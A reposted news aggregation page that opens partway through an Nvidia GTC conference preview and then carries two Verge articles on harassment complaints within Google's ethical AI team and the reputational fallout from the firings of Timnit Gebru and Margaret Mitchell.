“We have more international speakers, and more content that shifts towards Europe in the Middle East,” Estes said. “AI is the center of gravity, but it’s not the only thing we’re doing. One of the things people are talking about is conversational AI. It touches a lot of different industries, from chatbots for call centers to healthcare, where you have doctor who may have a patient where English isn’t their first language.”

A panel dubbed Bridging the Last Mile Gap with AI Education will feature cxperts and community leaders in Africa as they explain how they are democratizing AI and solving real-world challenges.

Latin American government, industry and academia will discuss the state of the AI ecosystem in Latin America and how to empower researchers and educators with GPUs and AI.

Experts will discuss natural language processing resources to build conversational AI for medium- and low-resource languages such as those in Africa, Arabia, and India.

Inception Venture Capital Alliance

Nvidia's Inception program has 8,500 AI startups.

Above: Nvidia’s Inception program has 8,500 AI startups.

Image Credit: Nvidia

Nvidia’s Inception AI program educates more than 8,500 companies that have potential for disruption. And Nvidia execs will talk about the company’s AI strategy and direction, focused on developers, startups, computing platforms, enterprise customers, and corporate development. More than 70 startups will share their business models involving conversational AI, drug discovery, autonomous systems, emerging markets, and other areas.

The panel will include Greg Estes, VP of corporate marketing and developer programs; Manuvir Das, head of enterprise computing; Shanker Trivedi, SVP of worldwide enterprise business; Vishal Bhagwati, head of corporate development; Mat Torgow, head of venture capital business development; and Kari Briski, VP of software product management for AI/HPC.

Ozzy Johnson, director of solutions architecture at Nvidia, will discuss technologies and key frameworks to accelerate a startup’s journey.

The pandemic has spurred investment and innovation in the healthcare and life sciences (HCLS) industry. Despite economic uncertainty, HCLS AI startups raised record funding. This panel will include the CEOs from startups Cyclica in biotech, IBEX in pathology, and Rayshape in ultrasound, moderated by Renee Yao, head of global healthcare AI startups at Nvidia, and cover AI in healthcare trends, challenges, and technical breakthroughs.

Diversity & Inclusion

Nvidia's Omniverse is a way to collaborate in simulated worlds.

Above: Nvidia’s Omniverse is a way to collaborate in simulated worlds.

Image Credit: Nvidia

GTC is structured as an open, all-access event available to virtually any community around the world. Sessions have been curated to inform and inspire developers, researchers, scientists, educators, professionals, and students from historically underrepresented groups.

Topics will include building better datasets and making AI more inclusive. Nvidia partners with organizations including LatinX in AI, Tech Career and W.AI in Israel, and Ewha Womans University of Korea to offer complimentary access to Nvidia Deep Learning Institute workshops for diverse communities.

“We’re doing a lot of educational programs and training with our Deep Learning Institute, and doing other initiatives with educators from historically black colleges and universities, and we’re doing things in Africa,” Estes said. “We’re doing things specifically targeting women in technology to try to bring these communities which have historically been underrepresented to train them better to avail them of the leading thinking to work with educators.”

Nvidia offers free teaching kits for educators to get children interested in AI and engineering.

“It’s important that we’re talking to the next generation coming up, helping both younger people and then mid-career professionals who want to learn new skills, ” Estes said.

One of the diversity sessions brings together academics, industry experts and the founder of W.AI to discuss how to help more women join the field of data science and AI through mentoring opportunities and supporting advanced degree enrollment.

Louis Stewart, head of strategic initiatives for Nvidia’s Developer Ecosystem, will speak with faculty and student researchers from the Africana Digital Ethnography Project on efforts to build new and unique datasets for better natural language understanding from all parts of the world.

An AI for Smart City session will talk about where AI has been deployed to solve urban challenges, ethical challenges associated with using AI in urban settings, and how it could address challenges stemming from urbanization, failing infrastructure, traffic management, population health difficulties, energy crises, and more.

The event will have regional speakers from Europe, the Middle East, Africa, Israel, India, China, Japan, South Korea, Taiwan, and southern Asia Pacific.

“There are smart people everywhere. And that’s a really important theme,” Estes said. “There is no reason in the world why certain countries should have an advantage over others when it comes to the brainpower of people doing AI work. We’re putting energy into reaching out to those communities. Africa is the example I gave earlier, but certainly in Latin America, and all across Asia Pacific, there is good thinking and great work being done today. In Singapore, and Vietnam, and other areas like that. And for us to be able to kind of bring that together in one place is really cool.”

GamesBeat

GamesBeat’s creed when covering the game industry is “where passion meets business.” What does this mean? We want to tell you how the news matters to you — not just as a decision-maker at a game studio, but also as a fan of games. Whether you read our articles, listen to our podcasts, or watch our videos, GamesBeat will help you learn about the industry and enjoy engaging with it.

How will you do that? Membership includes access to:

  • Newsletters, such as DeanBeat
  • The wonderful, educational, and fun speakers at our events
  • Networking opportunities
  • Special members-only interviews, chats, and “open office” events with GamesBeat staff
  • Chatting with community members, GamesBeat staff, and other guests in our Discord
  • And maybe even a fun prize or two
  • Introductions to like-minded parties

Become a member

Repost: Original Source and Author Link

Categories
AI

Google’s ethical AI researchers complained of harassment long before Timnit Gebru’s firing

Google’s AI leadership came under fire in December when star ethics researcher Timnit Gebru was abruptly fired while working on a paper about the dangers of large language models. Now, new reporting from Bloomberg suggests the turmoil began long before her termination — and includes allegations of bias and sexual harassment.

Shortly after Gebru arrived at Google in 2018, she informed her boss that a colleague had been accused of sexual harassment at another organization. Katherine Heller, a Google researcher, reported the same incident, which included allegations of inappropriate touching. Google immediately opened an investigation into the man’s behavior. Bloomberg did not name the man accused of harassment, and The Verge does not know his identity.

The allegations coincided with an even more explosive story. Andy Rubin, the “father of Android” had received a $90 million exit package despite being credibly accused of sexual misconduct. The news sparked outrage at Google, and 20,000 employees walked out of work to protest the company’s handling of sexual harassment.

Gebru and Margaret Mitchell, co-lead of the ethical AI team, went to AI chief Jeff Dean with a “litany of concerns,” according to Bloomberg. They told Dean about the colleague who’d been accused of harassment, and said there was a perceived pattern of women being excluded and undermined on the research team. Some were given lower roles than men, despite having better qualifications. Mitchell also said she’d been denied a promotion due to “nebulous complaints to HR about her personality.”

Dean was skeptical about the harassment allegations but said he would investigate, Bloomberg reports. He pushed back on the idea that there was a pattern of women on the research team getting lower-level positions than men.

After the meeting, Dean announced a new research project with the alleged harasser at the helm. Nine months later, the man was fired for “leadership issues,” according to Bloomberg. He’d been accused of misconduct at Google, although the investigation was still ongoing.

After the man was fired, he threatened to sue Google. The legal team told employees who’d spoken out about his conduct that they might hear from the man’s lawyers. The company was “vague” about whether it would defend the whistleblowers, Bloomberg reports.

The harassment allegation was not an isolated incident. Gebru and her co-workers reported additional claims of inappropriate behavior and bullying after the initial accusation.

In a statement emailed to The Verge, a Google spokesperson said: “We investigate any allegations and take firm action against employees who violate our clear workplace policies.”

Gebru said there were also ongoing issues with getting Google to respect the ethical AI team’s work. When she tried to look into a dataset released by Google’s self-driving car company Waymo, the project became mired in “legal haggling.” Gebru wanted to explore how skin tone impacted Waymo’s pedestrian-detection technology. “Waymo employees peppered the team with inquiries, including why they were interested in skin color and what they were planning to do with the results,” according to the Bloomberg article.

After Gebru went public about her firing, she received an onslaught of harassment from people who claimed that she was trying to get attention and play the victim. The latest news further validates her response that the issues she raised were part of a pattern of alleged bias on the research team.

Update April 21st, 6:05PM ET: Article updated with statement from Google.

Repost: Original Source and Author Link

Categories
AI

Google is poisoning its reputation with AI researchers

Google has worked for years to position itself as a responsible steward of AI. Its research lab hires respected academics, publishes groundbreaking papers, and steers the agenda at the field’s biggest conferences. But now its reputation has been badly, perhaps irreversibly damaged, just as the company is struggling to put a politically palatable face on its empire of data.

The company’s decision to fire Timnit Gebru and Margaret Mitchell — two of its top AI ethics researchers, who happened to be examining the downsides of technology integral to Google’s search products — has triggered waves of protest. Academics have registered their discontent in various ways. Two backed out of a Google research workshop, a third turned down a $60,000 grant from the company, and a fourth pledged not to accept its funding in the future. Two engineers quit the company in protest of Gebru’s treatment and just last week, one of Google’s top AI employees, a research manager named Samy Bengio who oversaw hundreds of workers, resigned. (Bengio did not mention the firings in an email announcing his resignation but earlier said he was “stunned” by what happened to Gebru.)

“Not only does it make me deeply question the commitment to ethics and diversity inside the company,” Scott Niekum, an assistant professor at the University of Texas at Austin who works on robotics and machine learning, told The Verge. “But it worries me that they’ve shown a willingness to suppress science that doesn’t align with their business interests.

“It definitely hurts their credibility in the fairness and AI ethics space,” says Deb Raji, a fellow at the Mozilla Foundation who works on AI accountability. “I don’t think the machine learning community has been very open about conflicts of interest due to industry participation in research.”

Niekum and Raji, along with many others inside and outside of Google, were shocked by what happened to Gebru and Mitchell, co-leads of the company’s Ethical AI team. Gebru was fired last December after arguments with managers over a research paper she co-authored with Mitchell and others. (Google disputes this account and says Gebru resigned.) Mitchell was fired in February after searching her email for evidence of discrimination against Gebru. The paper in question examined problems in large-scale AI language models — technology that now underpins Google’s lucrative search business — and the firings have led to protest as well as accusations that the company is suppressing research. After Gebru was ousted in December, a Medium post declaring solidarity with her and criticizing “unprecedented research censorship” by Google was signed by nearly 2,700 employees and more than 4,300 “academic, industry, and civil society supporters.”

It’s likely there will be more protest and more resignations, too. After Bengio left the company, Mitchell tweeted, “Resignations coming now bc people started interviewing soon after we were fired,” and that “job offers are just starting now; more resignations are likely.” When asked for comment on these and other issues highlighted in this piece, Google offered only boilerplate responses.

One of the employees who quit the company in protest earlier this year was David Baker. He started work at Google in 2004 and when he resigned in February, he was director of its Trust & Safety Engineering group. He tells The Verge that Google’s treatment of Gebru (he left before Mitchell was fired) has seriously shaken his confidence in the company.

“I was just blindsided to see and hear what happened to Timnit,” Baker told The Verge. “It broke my heart.” He adds that he didn’t take the decision to resign lightly: he loved his job and refers to his last couple of years at the company as “the happiest days of my life.” But quitting was the least he could do to stand in solidarity with Gebru, he says. “I spent a couple of weeks thinking and talking with my wife and ultimately decided I just couldn’t bring myself to go back to work.”

Baker is just one individual who feels let down by Google, but his response shows how the company has damaged its standing even with senior employees. The Trust & Safety team that Baker oversaw works on a range of important safety problems in Google, from tackling spam on Gmail to removing scams from the company’s advertising platform. “We’re behind the scenes on a whole bunch of applications,” as Baker puts it. He adds that although he didn’t work with Gebru or Mitchell personally, members of his team did, learning from them as part of what he calls the “emerging discipline” of AI safety.

AI safety will grow ever more important to Google as the company integrates machine learning methods ever deeper within its products. Probing the limitations of these systems — not just from a technical perspective but also a social one — was at the heart of Gebru and Mitchell’s work. And while it’s in Google’s interests to find weaknesses in its own technology, it seems the company didn’t want to hear everything its employees had to say.

Baker says that although he was always reassured by Google’s integrity within the Trust & Safety group (“We were very focused on what was right for the user, it was not about what was best for the brand”) the treatment of Gebru has made him doubt whether the company is always able to live up to its best intentions.

“I think it definitely calls into question whether Google can be trusted to honestly question the ethical applications of its technology,” says Baker. “And Google’s failure in diversity will lead to blindspots in its research. The reality is that Google is not a place where folks from all backgrounds can thrive.”

Researchers and academics The Verge spoke to for this story highlighted two distinct but connected concerns with Google’s behavior.

The first is the treatment of Gebru and Mitchell as individuals and what that says about the company’s commitment to diversity and inclusion as an employer. Google has well-documented problems with hiring and retaining minority talent, and this is another example of its failures. The second touches on broader questions about the trustworthiness of the company’s AI research and whether the company can fairly examine the potential harms of its technology. In the case of Gebru and Mitchell’s work, that means the damage posed by large-scale language models.

All those interviewed for this story stressed that they didn’t doubt the integrity of individual Google researchers, but were worried that the company’s internal structures — including its review process of papers — were subtly warping their work.

“I trust that things they are publishing are correct but I don’t trust that they’re not censored,” Hadas Kress-Gazit, a professor of robotics at Cornell who boycotted a Google workshop along with Scott, told The Verge. “It’ll be the truth but not the whole truth.”

One of the ways Google’s research is shaped to fit corporate interests is through the company’s internal review process. Last December, Reuters reported that Google had created a new level of review for “sensitive topics” in 2020. If researchers are writing about topics like sentiment analysis, facial recognition, the categorization of gender, race, or politics, they have to consult with Google’s PR team and legal advisors who will look over their work and suggest changes.

Internal correspondence cited by Reuters includes feedback in which a senior Google manager told a paper’s author to “take great care to strike a positive tone.” Another paper was edited to remove all references to Google’s products, and another to remove mentions of legal risks associated with new research — including risks to users’ personal data.

In a statement to The Verge, Google said: “Our research review process engages a wide range of subject matter experts from across the Research org and Google overall, including social scientists, ethicists, policy and privacy advisors, and human rights specialists, and has helped improve many of our publications and research applications.”

But as Mitchell told Reuters last year (when she was still employed by Google): “If we are researching the appropriate thing given our expertise, and we are not permitted to publish that on grounds that are not in line with high-quality peer review, then we’re getting into a serious problem of censorship.”

Mitchell’s worries are substantiated by the nature of the paper that led to her and Gebru’s departure. Far from offering a controversial or unexpected appraisal, the research gave a comprehensive overview of existing critiques. One marker of this (and of the research’s thoroughness) is that the paper cited 128 previous publications in its original form — more than six times the average for papers published at AI conference NeurIPS.

The paper says that, like many algorithms, AI language models have a tendency to regurgitate “both subtle biases and overtly abusive language patterns” found in training data, and that because of the amount of computing power needed to create these models they come with environmental costs. These are not controversial observations, and even critiques of the paper have praised its general arguments. One widely shared evaluation of a finished version of the paper by computer scientist Yoav Goldberg notes that it “takes one-sided political views” and is overly focused on questions of scale, but adds: “I also agree with and endorse most of the content. This is important stuff, you should read it.”

This makes Google’s objections to the paper unusual. The company’s head of AI, Jeff Dean, said that the paper “didn’t meet our bar for publication” and “ignored too much relevant research” about how the problems it highlighted might be mitigated. But for many, including employees at Google, these objections rang false. As one researcher at Google Brain Montreal, Nicolas Le Roux, commented on Twitter: “My submissions were always checked for disclosure of sensitive material, never for the quality of the literature review.”

Connected to Google’s treatment of the paper itself is the treatment of Gebru as an individual, and what that says about the company’s attitude toward Black and women researchers. “In environments where these people are dismissed, devalued, or discriminated against, their work — these valid critiques of the field — is discredited and dismissed, too,” says Raji. “Minoritized voices have a harder time vocalizing these critiques even though they’re some of the most important contributions to the space.”

This dynamic is not new. Raji gives the example of a 2018 paper called Gender Shades by researcher Joy Buolamwini — a paper now recognized as a landmark critique of gender and racial bias in facial recognition. “Famously, the paper almost didn’t get presented at conference because it was dismissed as too simple,” says Raji. After it was published, Gender Shades had a huge effect on the industry and society at large. It sparked political debates about the utility of facial recognition, prompting companies like Microsoft to reevaluate the accuracy of their technology, and others, like IBM, to drop it altogether.

In other words: it significantly changed the political landscape and the priorities of big tech firms. This is the power and impact that the right paper at the right time can have, and for many people this explains why Google was so keen to shut down Gebru’s criticism.

As Raji notes, much of this important work is done by groups who are not treated well by tech firms. She says this dynamic — dismissal of the individual leading to dismissal of their work — was at play with Google’s treatment of Gebru. “It was really easy for them to fire her because they didn’t value the work she was doing,” she says.

Despite the anger and sadness articulated by many researchers The Verge spoke to, others were more ambivalent about recent incidents. They said it would not affect their willingness to work with Google in future, and noted that interference in research was the price of working in industry labs. Many said they thought the only lasting solution to this problem was better public funding.

One AI professor at an American university who’s previously received money from Google to fund research and wished to be anonymous, told The Verge that he could understand why people wanted to protest the company but said that finding funding in academia would always force researchers to turn to potentially compromising sources.

“I cannot really define a coherent moral or ethical position that says it is okay to accept money from the Department of Defense but not from Google,” said the professor by email. “Put another way: how can you accept (or avert your gaze from) the atrocities that the DoD commits (across the world and also in terms of HR matters involving its own people), but draw the line at the current case with Google?”

Another researcher, who also wished to be anonymous, noted that working in corporate labs would always come with trade-offs between academic freedom and other perks. They said that Google was not alone in treating research staff callously and pointed to Microsoft’s sudden decision in 2014 to shut down an entire Silicon Valley lab, firing more than 50 leading computer scientists with little warning.

By some measures, though, Google is a special case and wields outsize influence in the field of AI in a way that other companies have not in the past. Firstly, Google happens to have in abundance the two resources that have powered AI’s ascendance in recent years: abundant computing power and data. Secondly, the company has stated time and time again that AI is crucial to future profitability. This means it’s directly invested in the field in a way that doesn’t compare to its funding of, say, computational neuroscience. It’s this combination of self-interest and technological advantage that gives it the ability and motivation to direct, to some degree, the parameters of academic research.

“They have this massive influence because of the combination of money they’re putting into research, [the] media influence they wield, and their enormous presence in terms of papers published and reviewers in the system,” says Niekum. He adds, though, that this criticism could be applied to other big tech companies just easily.

Whatever the context of Google’s involvement in AI research, it’s clear that the company has hurt its reputation significantly with its treatment of Gebru and Mitchell. Calculating what effect incidents like these will have on a company in the long run is impossible, but in the short term Google has eroded trust in its AI work and its ability to support minority voices. Accusations of self-censorship will also undermine claims that it can regulate its own technology. If Google can’t be trusted to examine the shortcomings of its own AI tools, does the government need to take a closer look at their workings?

All the same, those boycotting Google workshops and refusing its money know that their actions are more symbolic than anything else. “Compared to the number of people who are collaborating with Google and the number of academics who have part time appointments at Google, it’s a drop in the ocean,” says Kress-Gazit. They’re still determined, though, to press the issue in the hope that Google will make amends. Since the firing of Gebru and Mitchell, the company has appointed a new employee, Marian Croak, to oversee its Responsible AI initiatives. It’s also tweaked its review process for papers (but offered no details about what has changed or why). For those angry with the firm, it needs to do much more, including offering real transparency for reviews and apologizing publicly to Gebru.

And for others, it’s too late altogether. Raji, who is close to Gebru, says that as a result of watching how Google treated her friend over last few months, she’s changed her mind about going to work in industry and decided to pursue a career in academia instead.

“Before this, I had a lot more faith in what could happen with industry research on these AI ethics issues,” she says. “This whole situation shows that within industry there’s a lot of cultural dynamics still at play and you’re still beholden to leadership caring about these issues. As a minority woman, you’re going to be disadvantaged and disrespected in certain ways. And I’m just not ready for that.”

That’s one talented researcher the tech industry has lost. It won’t be the last.



Repost: Original Source and Author Link